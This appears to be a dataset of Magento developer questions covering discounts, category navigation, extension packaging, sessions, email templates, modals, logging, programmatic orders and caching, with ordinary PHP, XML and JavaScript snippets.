How to I get Magento to always take the discount from the original subtotal price. Currently Magento works okay for the first 10% discount but once it goes into the 2nd bracket it applies the extra 5% discount to the altered 10% price and not the original subtotal price so the customer does not get the full 15% off if buying 25 - 49 items.


texts: How to get category name by multiple id in Magento 2

texts:
I want to get category name using multiple category ids.
I have two category id like :- 3 or 4.Those two id using i am want to category name.
Please help me how to achieve this.
THANKS.


texts: how to check which PHP version use magento 1.6 or magento 1.7?

texts: I want to check which PHP version magento 1.6 or magento 1.7 is using?


texts: Magento 1.7 problem when trying to install extension

texts:
I am building an extension, which I packaged under version 1.9, with the built-in packaging tool (Admin/System/Magento Connect/Package Extensions).

When trying to install the extension on Magento 1.7, I get a CONNECT ERROR: Unsupported resource type message in the console.

As I understand, this is because the unpack method changed after PHP 5.5, and the Magento code needs to be modified to install a package this way.

My question: is there a way to package an extension in a way that it is compatible with previous versions of Magento, without needing to modify core code?

All the solutions I found seem to be for the unpack method only, but I am looking for a way to make my extension compatible with 1.7-1.9.


texts:
i.e.

I have the following category: main category (!= root)

Main category
|
|- sub category 1
|
|- sub category 2
|
|- sub category 3

My navigation,

  <ul>
    <?php echo $_menu ?>
  </ul>

Now renders

Main category

How can I get it to render just the sub categories, like

Subcategory 1
Subcategory 2
Subcategory 3

(The reason I put all my categories in one main is to be able to link to mysite.com/shop for all products. Main category therefore is /shop )


texts: How to get custom session in rest api calls?

texts:
I have created a custom session and it's storage with custom namespace.

I have set some data in storage which I am trying to fetch in my api calls but not getting any data in session.

I do get the data from session storage in storefront but not in rest api calls.

It is this preference code that doesn't allow me to access the session.

<preference for="Magento\Framework\Session\Config\ConfigInterface" type="Demo\MyModule\Model\Session\CustomConfig" />

Any help will be appreciated.


texts:
So I have moved my live website hosted on Magento 2.1.5 to a staging environment that has Magento 2.3.
I get this error now when I try to access the localhost.
Deprecated: The each() function is deprecated. This message will be suppressed on further calls in /var/www/html/vendor/colinmollenhour/cache-backend-file/File.php on line 81
When I go to the exception log I have this error:
[2019-03-12 14:19:23] main.CRITICAL: Exception: Deprecated Functionality: Function mdecrypt_generic() is deprecated in /var/www/html/vendor/magento/f$
Stack trace:
0 /var/www/html/vendor/magento/framework/Encryption/Crypt.php(152): Magento\Framework\App\ErrorHandler->handler(8192, 'Function mdecry...', '/var/ww$
1 /var/www/html/vendor/magento/framework/Encryption/Encryptor.php(317): Magento\Framework\Encryption\Crypt->decrypt('=\xAC\x8Fj')
2 /var/www/html/vendor/magento/module-config/Model/Config/Backend/Encrypted.php(109): Magento\Framework\Encryption\Encryptor->decrypt('PayPal')
3 /var/www/html/var/generation/Magento/Config/Model/Config/Backend/Encrypted/Interceptor.php(37): Magento\Config\Model\Config\Backend\Encrypted->pro$
4 /var/www/html/vendor/magento/framework/App/Config/MetadataConfigTypeProcessor.php(88): Magento\Config\Model\Config\Backend\Encrypted\Interceptor->$
5 /var/www/html/vendor/magento/framework/App/Config/MetadataConfigTypeProcessor.php(106): Magento\Framework\App\Config\MetadataConfigTypeProcessor->$
6 /var/www/html/vendor/magento/framework/App/Config/PostProcessorComposite.php(34): Magento\Framework\App\Config\MetadataConfigTypeProcessor->proces$
7 /var/www/html/var/generation/Magento/Framework/App/Config/PostProcessorComposite/Proxy.php(95): Magento\Framework\App\Config\PostProcessorComposit$
8 /var/www/html/vendor/magento/module-config/App/Config/Type/System.php(102): Magento\Framework\App\Config\PostProcessorComposite\Proxy->process(Arr$
9 /var/www/html/vendor/magento/framework/App/Config.php(139): Magento\Config\App\Config\Type\System->get('default/web/sec...')
10 /var/www/html/vendor/magento/framework/App/Config.php(90): Magento\Framework\App\Config->get('system', 'default/web/sec...')
11 /var/www/html/vendor/magento/framework/App/Config.php(103): Magento\Framework\App\Config->getValue('web/secure/use_...', 'default', NULL)
12 /var/www/html/vendor/magento/module-store/Model/HeaderProvider/Hsts.php(48): Magento\Framework\App\Config->isSetFlag('web/secure/use_...')
13 /var/www/html/vendor/magento/framework/App/Response/HeaderManager.php(41): Magento\Store\Model\HeaderProvider\Hsts->canApply()
In therms of prerequesits for Magento 2.3 I have all the required stuff. when I did the fresh installation it was working, now that I moved the files from my existing live site, it has a problem.
Thanks in advance.


texts: Magento 1.9 - Redirect to custom URL with hash

texts:
I'm currently working on a comment system on my product view. The problem I'm trying to solve is redirecting the user back to the comments section in the product view after the user logs in.

I read I can include a /referer/ in the URL of the log in page (for example, /customer/account/login/referer/path/to/product#comments) and that would redirect me back to the URL path I want. I tried this and it doesn't work.

Anyone know how I can go about this? Any help is greatly appreciated.


texts:
view/frontend/layout/sales_email_order_shipment_renderers.xml

<page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd" label="Email Creditmemo Items List" design_abstraction="custom">

        <referenceBlock name="sales.email.order.shipment.renderers.default">
            <action method="setTemplate" >
                <argument name="template" xsi:type="string">Vendor_Sales::email/items/shipment/default.phtml</argument>
            </action>
        </referenceBlock>

        <referenceBlock name="sales.email.order.shipment.renderers.grouped">
            <action method="setTemplate" >
                <argument name="template" xsi:type="string">Vendor_Sales::email/items/shipment/default.phtml</argument>
            </action>
        </referenceBlock>

        <referenceBlock name="sales.email.order.shipment.renderers.bundle">
            <action method="setTemplate" >
                <argument name="template" xsi:type="string">Vendor_Sales::email/items/shipment/default.phtml</argument>
            </action>
        </referenceBlock>

        <referenceBlock name="sales.email.order.shipment.renderers.downloadable">
            <action method="setTemplate" >
                <argument name="template" xsi:type="string">Vendor_Sales::email/items/shipment/default.phtml</argument>
            </action>
        </referenceBlock>

</page>

file frontend/templates/email/items/shipment/default.phtml
<?php
/** @var $_item \Magento\Sales\Model\Order\Item */
$_item         = $block->getItem();
$_order        = $_item->getOrder();
$helper        = $this->helper('Mod\Sales\Helper\Data');
$product_image = $helper->getProductImage($_item->getSku());
$productObj    = $helper->getProductBySku($_item->getSku());
$color         = $productObj->getAttributeText('color');
$size          = $productObj->getAttributeText('size');
$brand         = $productObj->getDisplayBrand();
?>

        <?php echo $block->getItemPrice($_item) ?>

            &nbsp;

Error: Call to a member function setItem() on bool in vendor/magento/module-sales/Block/Order/Email/Items/DefaultItems.php:118 Stack trace: #0
Any thoughts why it shows such error & how to fix it asap ?


texts:
To test the SHA256 compatibility for paypal - in my linux web server I tried the below and got this error. I do have the SHA256 SSL certificates installed though.

curl https://api-3t.paypal.com/nvp

ACK=Failure&L_ERRORCODE0=81002&L_SHORTMESSAGE0=Unspecified%20Method&L_LONGMESSAGE0=Method%20Specified%20is%20not%20Supported&L_SEVERITYCODE0

Any help welcome


texts: Magento 2 - XAMPP vs remote server. Which is best for development envirnoment?

texts:
We are a team of three developers and we want to develop a website on magento 2.
We have fresh installation of magento on a remote server. Is better to develop directly on a remote server or using XAMPP on windows locally?
if neither the two, do you recommend another solution?


texts:
In Magento 1.x I could use the included color picker by using the following form element:

$fieldset->addField('title_color', 'text', array(
      'label'     => Mage::helper('categorybanner')->__('Title Color'),
      'class'  => 'color {hash:true,required:false}',
      'required'  => false,
      'name'      => 'title_color',
  ));

Is there an included color picker element in Magento 2? If not how would I go about including a custom JS file on an admin grid?


texts: Not able to update or delete attribute option in admin

texts:
I am not able to update or delete the product attribute options in admin-end.
When I am clicking "save" or "save or continue" after updating or deleting the attribute option, Magento shows me the success message that the atrribute has been saved successfully but I can still the see the deleted option in the list and also the option that I have changed is also not modified.
However, I am able to add new attributes without any issue.

The same functionality is working absolutely fine on my staging environment but creating issues on live.

What can be the probable cause of the issue and how can I fix it?


texts:
I have a popup modal which onclicks opens , I want this modal to be closed when I submit the form and get the ajax success request. I tried with

success: function(data)
   {
       //console.log('ticket added');
       this.closeModal();
   }

But it is not working , can anyone sort this out. Thanks in Advance

 <script>
    require(
      [
        'jquery',
        'Magento_Ui/js/modal/modal'
    ],
    function(
        $,
         modal
     ) {
        var options = {
            type: 'popup',
            responsive: true,
            innerScroll: true,
            title: 'Test title',
            buttons: [{
                text: $.mage.__('Continue'),
                class: '',
                click: function () {
                    this.closeModal();
                }
            }]
        };

        var popup = modal(options, $('#events_popup'));
        $("#click-me").on('click',function(){
            $("#events_popup").modal("openModal");
        });

    }
   );
   </script>

<div id="events_popup" style="display: none;" class="events_popup">
<script type="text/javascript">
require(
    [
        'jquery'

    ],
    function($,modal)
    {
  $("#<?php echo $_product->getId()?>").submit(function(e) {

$.ajax({

       type: "POST",
       url:  $(this).attr('action'),
       data: $("#<?php echo $_product->getId()?>").serialize(),
       showLoader: true,
       success: function(data)
       {
           //console.log('ticket added');
           document.close();
       }
     });

    e.preventDefault();
  });

    }

    );

</script>
</div>


texts:
I'm developing a module on a vanilla install of CE 1.8.1.0. I'm trying to write to a custom log file inside the module's observer. The log file is created but remains empty no matter what. Here's my code:

app/code/local/My/Module/etc/config.xml:

<config>
    <global>
        ...
    </global>
    <frontend>
        <events>
            <checkout_cart_product_add_after>
                <observers>
                    <my_module>
                        <class>my_module/observer</class>
                        <method>observeSummin</method>
                    </my_module>
                </observers>
            </checkout_cart_product_add_after>
        </events>
    </frontend>
</config>

And the Observer:

app/code/local/My/Module/Model/Observer.php:

class My_Module_Model_Observer
{
    public function observeSummin( $observer ) {
        if ( !$this->_isEnabled ) {
            Mage::log( 'is-enabled, 1: ', 'no', 'my_module.log', true );
            return;
        }

        Mage::log( 'is-enabled, 1: ', 'yes', 'my_module.log', true );

        $quoteItem = $observer->getEvent()->getQuoteItem();

        if ( $this->cartQualifies() ) {
            if ( $quoteItem ) {
                Mage::log( 'cart-qualifies, 1: ', 'yes', 'my_module.log', true );
            }
        } else {
            Mage::log( 'cart-qualifies, 1: ', 'no', 'my_module.log', true );
        }

        return;
    }
}

As you can see, I've just dumped loads of log instances to catch any conditions. Apart from the checkout_cart_product_add_after event, I've also tried hooking into the sales_quote_add_item and checkout_cart_save_after events, with the same results.

If I introduce an intentional code error in the observer, the error log catches it, otherwise, there are none. I've also tried to use Mage::log without the file parameter, but nothing is written to system.log.

The entire var/ folder is chmod 777 and logging is enabled in system config.

I'm lost as to why it's not logging - other Magento events are being logged in system and exception. Any suggestions would be appreciated, thanks!


texts: Payment not saving in quote when creating order programmatically

texts:
I have a current script that uses a mishmash of pure Magento methods and the API. I'm trying to convert it all to straight Magento methods, but I'm having an issue to get the payment method to stay. Some of the processing is done in one script, which then passes the quote ID to a class.

The first part:

$paymentMethod =    array(
    'method' => 'verisign',
    'cc_cid' => $_REQUEST['cc_verify'],
    'cc_owner' => $_REQUEST['cc_name'],
    'cc_number' => $_REQUEST['cc_number'],
    'cc_type' => $_REQUEST['cc_type'],
    'cc_exp_year' => $_REQUEST['expire_year'],
    'cc_exp_month' => $_REQUEST['expire_month']
);

try {
    $payment = $quote->getPayment();
    $payment->importData($paymentMethod);
    $quote->getBillingAddress()->setPaymentMethod($payment->getMethod());
    $quote->getShippingAddress()->setPaymentMethod($payment->getMethod());
    $quote->setPayment($payment);
    $quote->collectTotals()->save();

    $err = $OTOrder->completeOrder($shopping_cart_id,$paymentMethod);

..... }

and the relevant part of the OTOrder->completeOrder function:

$quote = Mage::getModel('sales/quote')->load($shopping_cart_id); // shopping_cart_id is the quote ID
// setting the shipping methods and other order-specific settings here

$payment=$quote->getPayment();
Mage::log('1');
$convertQuote = Mage::getSingleton('sales/convert_quote');
Mage::log('2');
$order = $convertQuote->addressToOrder($quote->getShippingAddress());
Mage::log('3');
$order->setPayment($convertQuote->paymentToOrderPayment($payment));
Mage::log('4');

The script stops at addressToOrder with the error Uncaught exception 'Mage_Core_Exception' with message 'The requested Payment Method is not available.' Am I perhaps doing something in the wrong order somewhere, or missing a crucial setp?


texts:
I'm trying to add a custom phtml file in the Product Page before Product Name/Title.

For that I've created a custom.phtml file in the path-

  "...> Magento_Catalog > templates > custom.phtml".

After that I added a block in catalog_product_view.xml:

<block class="Magento\Framework\View\Element\Template" name="blockname" template="Magento_Catalog::custom.phtml"/>

What I'm missing here? please guide me to show my custom.phtml file content on product page before the product title.


texts: Invalidate block cache after attribute was edited

texts:
How to invalidate block cache after product attribute was edited. E.g. there is a multiselect attribte and if I edit its values in Magento admin I need the cache of the block to be deleted and refreshed.

There are many examples of how to do this when specific product was edited, e.g. on Magento forum: http://www.magentocommerce.com/wiki/5_-_modules_and_development/block_cache_and_html_ouput

protected function _construct()
{
    $this->addData(array(
        'cache_lifetime'    => 120,
        'cache_tags'        => array(Mage_Catalog_Model_Product::CACHE_TAG . "_" . $this->getProduct()->getId()),
        'cache_key'         => $this->getProduct()->getId(),
    ));
}

but how to do this for attributes?

I've found the Mage_Eav_Model_Entity_Attribute::CACHE_TAG constant for attributes but I'm not sure how to use it to delete the cache only when specific attribute was edited:

protected function _construct()
{
    $this->addData(array(
        'cache_lifetime'    => 120,
        'cache_tags'        => array(Mage_Eav_Model_Entity_Attribute::CACHE_TAG),
        'cache_key'         => $product->getResource()->getAttribute('color')->getFrontend()->getValue($product),
    ));
}


texts: How to add another input to an attribute?

texts:
I'm trying to add another field to the attribute of a product:

Is this possible and if yes, how?


texts: Troubleshooting "Notice Undefined index: httponly - secure - domain"

texts:
Noticed my log file had ballooned to 500MB, it appears that every time a page is loaded these errors are logged:

2014-11-13T13:29:05+00:00 ERR (3): Notice: Undefined index: httponly  in /home/SITE/public_html/app/code/core/Mage/Core/Model/Session/Abstract/Varien.php on line 96
2014-11-13T13:29:05+00:00 ERR (3): Notice: Undefined index: secure  in /home/SITE/public_html/app/code/core/Mage/Core/Model/Session/Abstract/Varien.php on line 98
2014-11-13T13:29:05+00:00 ERR (3): Notice: Undefined index: domain  in /home/SITE/public_html/app/code/core/Mage/Core/Model/Session/Abstract/Varien.php on line 100

Is this a known issue with Magento 1.9 ?

What steps do I need to perform the stop these from occurring?


texts: My products' prices keep refreshing between zero and non-zero prices, how do I resolve?

texts:
Under Admin > Attributes,

There are three attributes that were created, Special Price, Start Date, End Date.

For whatever reason, when I remove the price as a blank so that I no longer want to apply a special price to a product, it works - BUT ONLY FOR A MINUTE. Then it defaults to 0.00 and it displays as 0.00 on my product grid and product page when I revisit the product page (as admin).

Any steps I can take as to how I can resolve? Thank you!

I'm running Magento 1.9